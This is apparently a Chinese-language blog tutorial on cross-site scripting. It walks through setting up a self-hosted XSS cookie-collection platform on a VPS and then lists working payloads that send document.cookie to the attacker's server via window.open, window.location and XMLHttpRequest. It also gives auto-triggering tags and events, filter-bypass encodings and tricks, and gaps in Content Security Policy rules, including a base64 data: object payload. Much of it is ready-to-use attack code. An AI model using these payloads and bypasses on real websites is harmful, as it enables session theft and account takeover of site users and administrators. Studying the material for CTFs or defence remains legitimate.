xss小結-從xss平臺搭建到csp規則

0x00前言

xss是跨站腳本攻擊,利用嵌入js代碼達到‘控制’對方瀏覽器的作用,測試的時候我們是用alert(1)彈窗,而做CTF也好,實際中的漏洞利用也好一般是用xss獲取管理員的cookie

 

0x01xss平臺搭建

網上有xss的在線平臺,但是別人的總沒有自己的用着舒服,於是可以試着手動搭建下屬於自己的xss平臺

首先要擁有自己的vps,能有公網的ip,才能把目標的信息發送過來

這裏搭建推薦用藍蓮花戰隊的github一個項目:https://github.com/firesunCN/BlueLotus_XSSReceiver

你可以搭在vps上的web服務器上,但是該項目提供了docker,可以使用docker開放到自己想要的端口

git clone https://github.com/firesunCN/BlueLotus_XSSReceiver.git && cd BlueLotus_XSSReceiver
docker build -t bluelotus .
docker run -d -p 81:80 bluelotus

上面3條命令會把xss平臺運行到vps的81端口,然後訪問自己的vps 81端口的admin.php頁面

登錄密碼默認爲bluelotus,輸入即可進入頁面

 

稍微提一下怎麼使用,在我的js中添加個新的文件,插入第一個模板就行

然後把它的var website的值改成 http://vpsip:port/ 即可,端口就是你開放這個xss平臺端口,我是用的81

簡單的本地測試利用該js文件獲取信息,點擊生成payload

 

 把這句話插入到xss的輸入中

然後刷新下xss平臺的主界面,就能獲取cookie了

 

0x02 XXS基本觸發方式

xss檢查都是用個alert(1)彈個框來檢查,但是實際上都是爲了發送cookie來獲取有用的信息

發送cookie的方式用ajax,用window.open,用window.location

即將alert(1)的地方替換成如下代碼

<script>alert(1)</script>
用以下的代碼替換,其中的vpsip:port即0x01中提到的xss平臺的ip和端口 <script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script> <script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>

<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://vpsip:port', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('cookie='+document.cookie); </script>

 

觸發javascript的方式有三種

1.利用<script>標籤,標籤內的內容即可以觸發javascript的代碼

2.利用javascript:僞協議,該方法會用於一些屬性裏面,舉個例子比如在a標籤的href屬性可以使用該僞協議 <a href=javascript:alert(1)>xss</a>

3.利用事件onxxxx,比如在打開文檔或圖片錯誤時,報錯的事件onerror,舉例<img src=x onerror=alert(1) />(x這個圖片路徑是不存在的,所有會觸發onerror)

 

能夠利用的標籤有

<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>

能夠利用的事件有

onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop onerror

能夠利用僞協議的屬性有

formaction action href xlink:href autofocus src content data

 

有些xss需要用戶交互才能觸發,比如<a>標籤,必須用戶點擊了<a>標籤生成的xss鏈接,才能觸發

而有些標籤是不用交互,只要能夠加載就能觸發的,這裏羅列下我知道的(在firefox下成功,在chrome下有些會被chrome攔截)

利用<script>標籤
<script>alert(1)</script>

利用報錯的事件
<img src=x onerror=alert(1) /> <object data=x onerror=alert(1)></object>
<video src=x onerror=alert(1) /> <audio src=x onerror=alert(1) />

利用加載的時候的事件 <iframe onload=alert(1) /> <svg onload=alert(1)></svg> <marquee onstart=alert(1)></marquee>

利用請求資源的時候的僞協議 <iframe src=javascript:alert(1) /> <object data=javascript:alert(1)></object> <object data=x onerror=alert(1)></object> <embed src=javascript:alert(1)></embed>
利用聚集焦點的事件,最後加autofocus是打開頁面自動聚集焦點到該標籤 <input type=text onfocus=alert(1) autofocus /> <button onfocus=alert(1) autofocus /> <keygen onfocus=alert(1) autofocus /> <select onfocus=alert(1) autofocus /> <textarea onfocus=alert(1) autofocus />

 至於其他標籤的用法比如<a>標籤就要靠點擊觸發src=javascript:僞協議

或者利用onmousemove鼠標移動到該標籤位置, onclick點擊觸發這些事件,這裏就不再羅列

 

0x03 XXS一點繞過方法

繞過我知道的不多,簡單介紹下我收集的

1.在標籤的屬性任何位置都可以利用html編碼進行繞過

&#ascii碼十進制;

例子:t  --編碼後-> &#116; 

<a href=javascript:&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; >xss</a><a href=javascrip&#116;:alert(1) >xss</a>

2.在javascript中可以通過String.fromCharCode()函數進行編碼成字符串,但是要使用eval來執行

<a href=javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >xss</a>
等價於
<a href=javascript:eval("alert(1)") >xss</a>

因爲如果不加eval,它是這樣的,"alert(1)"是被當做字符串,而不是執行代碼,所以是不能執行
<a href=javascript:"alert(1)" >xss</a>

3.在javascript中可以通過\x來編碼字符成字符串,也是需要eval來執行,道理同上

<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x31\x27\x29") >xss</a>

4.在標籤中有些地方可以用[/]來代替[空格]

<img src=x onerror=alert(1) />            //正常情況
<img/src=x onerror=alert(1) />            //代替前面的空格
<img src=x onerror=alert(1)//>            //代替後面的空格
<img/src=x onerror=alert(1)//>            //代替前後的空格
<img src=x/onerror=alert(1) />            //錯誤無法解析

5.在標籤中也可以用%0a%0d換行來代替空格

<img src=x onerror%0a%0d=%0a%0dalert(1) />

<img%0a%0dsrc=x onerror=alert(1) />

6.在javascript中可以利用['']來代替 .

document.cookie
document['cookie']
document['coo'+'kie']

7.標籤和屬性大小寫不敏感

<imG sRc=x OnerroR=alert(1) />

 

0x04 csp基礎

csp(Content Security Policy)是網頁安全政策

它的存在就是爲了防止XSS的

開啓方式有2種,一種是在html中的<meta>標籤中寫入,一種是通過響應頭的Content-Security-Policy字段定義

html前端代碼

<meta http-equiv="Content-Security-Policy" content="script-src 'self';">

php後端代碼

header("Content-Security-Policy: default-src 'self';");

首先了解有哪些值

* 允許加載所有資源(沒有單引號)
'none' 不允許加載任何資源
'self' 允許加載同源資源
data: 允許使用data:僞協議
*.sijidou.com 允許sijdou.com子域的資源加載
sijidou.com 允許sijidou.com域下的資源加載
'unsafe-inline' 允許執行內聯資源,如屬性,事件,script標籤
'unsafe-eval' 允許使用eval執行代碼
https: 只允許使用了https:有證書的資源

 

 

 

 

 

 

 

 

 

 

 

 

屬性有以下內容

1.script-src

這個屬性來判斷是否能夠加載,執行javascript腳本

1)script-src *; 允許所有的js腳本來源

<script src="http://vpsip/1.js"></script>   //能觸發
<script>alert(1)</script>            //不能觸發

2)script-src 'self'; 只允許同源的腳本觸發

<script src="http://vpsip/1.js"></script>  //不能觸發
<script>alert(1)</script>            //不能觸發
<script src="1.js"></script>          //調用本地的js文件能觸發

3)script-src 'unsafe-inline' 當前頁面可以使用javascript腳本

<script>alert(1)</script>            //能觸發
<script>eval("alert(1)")</script>       //不能觸發
<script src="http://vpsip/1.js"></script>   //不能觸發
<script src="1.js"></script>          //不能觸發

4)script-src 'unsafe-inline' 'unsafe-eval' 當前頁面能夠使用javascript腳本,並且能夠使用eval函數

<script>eval("alert(1)")</script>        //能觸發
<script>alert(1)</script>             //能觸發
<script src="http://vpsip/1.js"></script>   //不能觸發
<script src="1.js"></script>           //不能觸發

 5)script-src 'none' 不允許加載任何資源

<script src="http://vpsip/1.js"></script>   //不能觸發
<script src="1.js"></script>            //不能觸發
<script>alert(1)</script>                    //不能觸發

 

2.img-src

該屬性是定義圖片加載的源的策略

1)img-src * 允許加載任何圖片資源

<img src=x onerror=alert(1) />         //能夠觸發
<img src='http://xxx/1.jpg' />         //允許的

2)img-src 'self' 允許同源的圖片被加載

<img src=x onerror=alert(1) />         //也是能夠觸發的
<img src='http://xxx/1.jpg' />         //不允許
<img src='1.jpg' />                //允許的

3)img-src 'none' 不允許圖片被加載

<img src=x onerror=alert(1) />         //也能夠觸發的
<img src='http://xxx/1.jpg' />         //不允許
<img src='1.jpg' />                //不允許

總的來說,從哪圖片加載如果失敗都能觸發onerror

 

3.style-src

該屬性是規定css加載的來源

style-src * 允許加載任意的css

<link href="1.css" type="text/css" rel="Stylesheet" />    //允許

#但下面這個不被允許
<style type="text/css">
.main{ width:1002px; margin:0 auto;}
</style>

style-src 'unsafe-line' 可以達到使用內嵌的css樣式

#允許
<style type="text/css">
.main{ width:1002px; margin:0 auto;}
</style>

 

4.font-src

該屬性是規定字體的加載的來源

和img-src大差不差,但是沒法觸發onerror之類的事件

 

5.object-src

該屬性定義引用資源的加載來源

可以作用的是下面的標籤,效果和img-src相同

<object data=xxx />
<embed src=xx />

 

6.media-src

該屬性規定音頻和視頻的加載來源

可以作用的是下面的標籤,效果和img-src相同

<audio src=x />
<video src=x />

 

7.connect-src

定義ajax websocket等策略

1)connect-src * 允許ajax或者websocket訪問所有目標

<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.4399.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

2)connect -src http://www.baidu.com/ 只允許ajax或者websocket訪問http://www.baidu.com,如果不是就不被允許

#被允許
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

#不被允許
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.bilibili.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

但是絲毫不影響window.open和window.location的發送

#在connect-src http://www.baidu.com/ 被允許的
<script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script>
##在connect-src http://www.baidu.com/ 被允許的
<script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>

 

8.child-src

定義frame的來源,是frame-src的改進版

1)child-src * 允許載入所有的其他源頁面

<iframe src=http://www.4399.com />      //通過
<iframe src=http://www.baidu.com />        //通過

2)child-src http://www.baidu.com/ 只允許載入百度的頁面

<iframe src=http://www.4399.com />      //不通過
<iframe src=http://www.baidu.com />        //通過

 但是也不影響onload事件的觸發

<iframe src=http://www.4399.com onload=alert(1) />

 

9.default-src

默認資源定義,如果只設置了 script-src 和 default-src,那麼其他的img-src style-src等7個屬性和default-src的規則相同

 

0x05 csp的組合規則

可以看到如果在沒有script-src和default-src(來定義script-src規則)的情況下,其他的csp防護也是能通過事件之類的來執行javascript代碼

1)child-src *;default-src * 這種情況下允許加載任何頁面,但是不能運行javascript腳本(default-src定義了script-src的規則)

<iframe src=http://www.baidu.com onload=alert(1) />  //能加載百度頁面,沒發彈框

只要script-src沒有unsafe-inline值,那麼該頁面就不能執行javascript代碼,無論是否是<script>標籤內容,屬性的javascript:僞協議,事件的執行

2)object-src data:;default-src * 運行使用data:協議,這種我們可以利用javascript代碼彈框

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object>    //被允許
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==解碼結果是<script>alert(1)</script>

3)object-src javascript:;default-src * 運行javascript:協議,但是因爲default-src *來規定了script-src沒有unsafe-inline值,那麼看着就是矛盾的了,這時候判斷是不執行

<object data=javascript:alert(1) />      //不被允許

 總結一下就是除了某些標籤的data:僞協議可以加載頁面(比如<object>標籤)可以逃過沒有script-src 'inline'在頁面上執行javascript代碼的情況,其他想要執行javascript代碼必須要有script-src 'inline'或者沒有定義script-src和default-src規則

之前看<link>可以預加載之類的文章,但是我本地沒有成功,也不知道是不是Firefox和chrome的版本更新後對這個問題已經有了處理了

 

0xFF結語

gitbub上的筆記:https://github.com/SiJiDo/XSS-note

雖然有點亂,但是還是能看

參考鏈接

https://www.cnblogs.com/xiaozi/p/5588099.html

https://www.leavesongs.com/PENETRATION/xss-collect.html

http://heartsky.info/2017/03/03/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E7%BB%95%E8%BF%87%E7%9A%84CSP/

http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

https://lorexxar.cn/2016/08/08/ccsp/#%E4%BB%80%E4%B9%88%E6%98%AFCSP

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章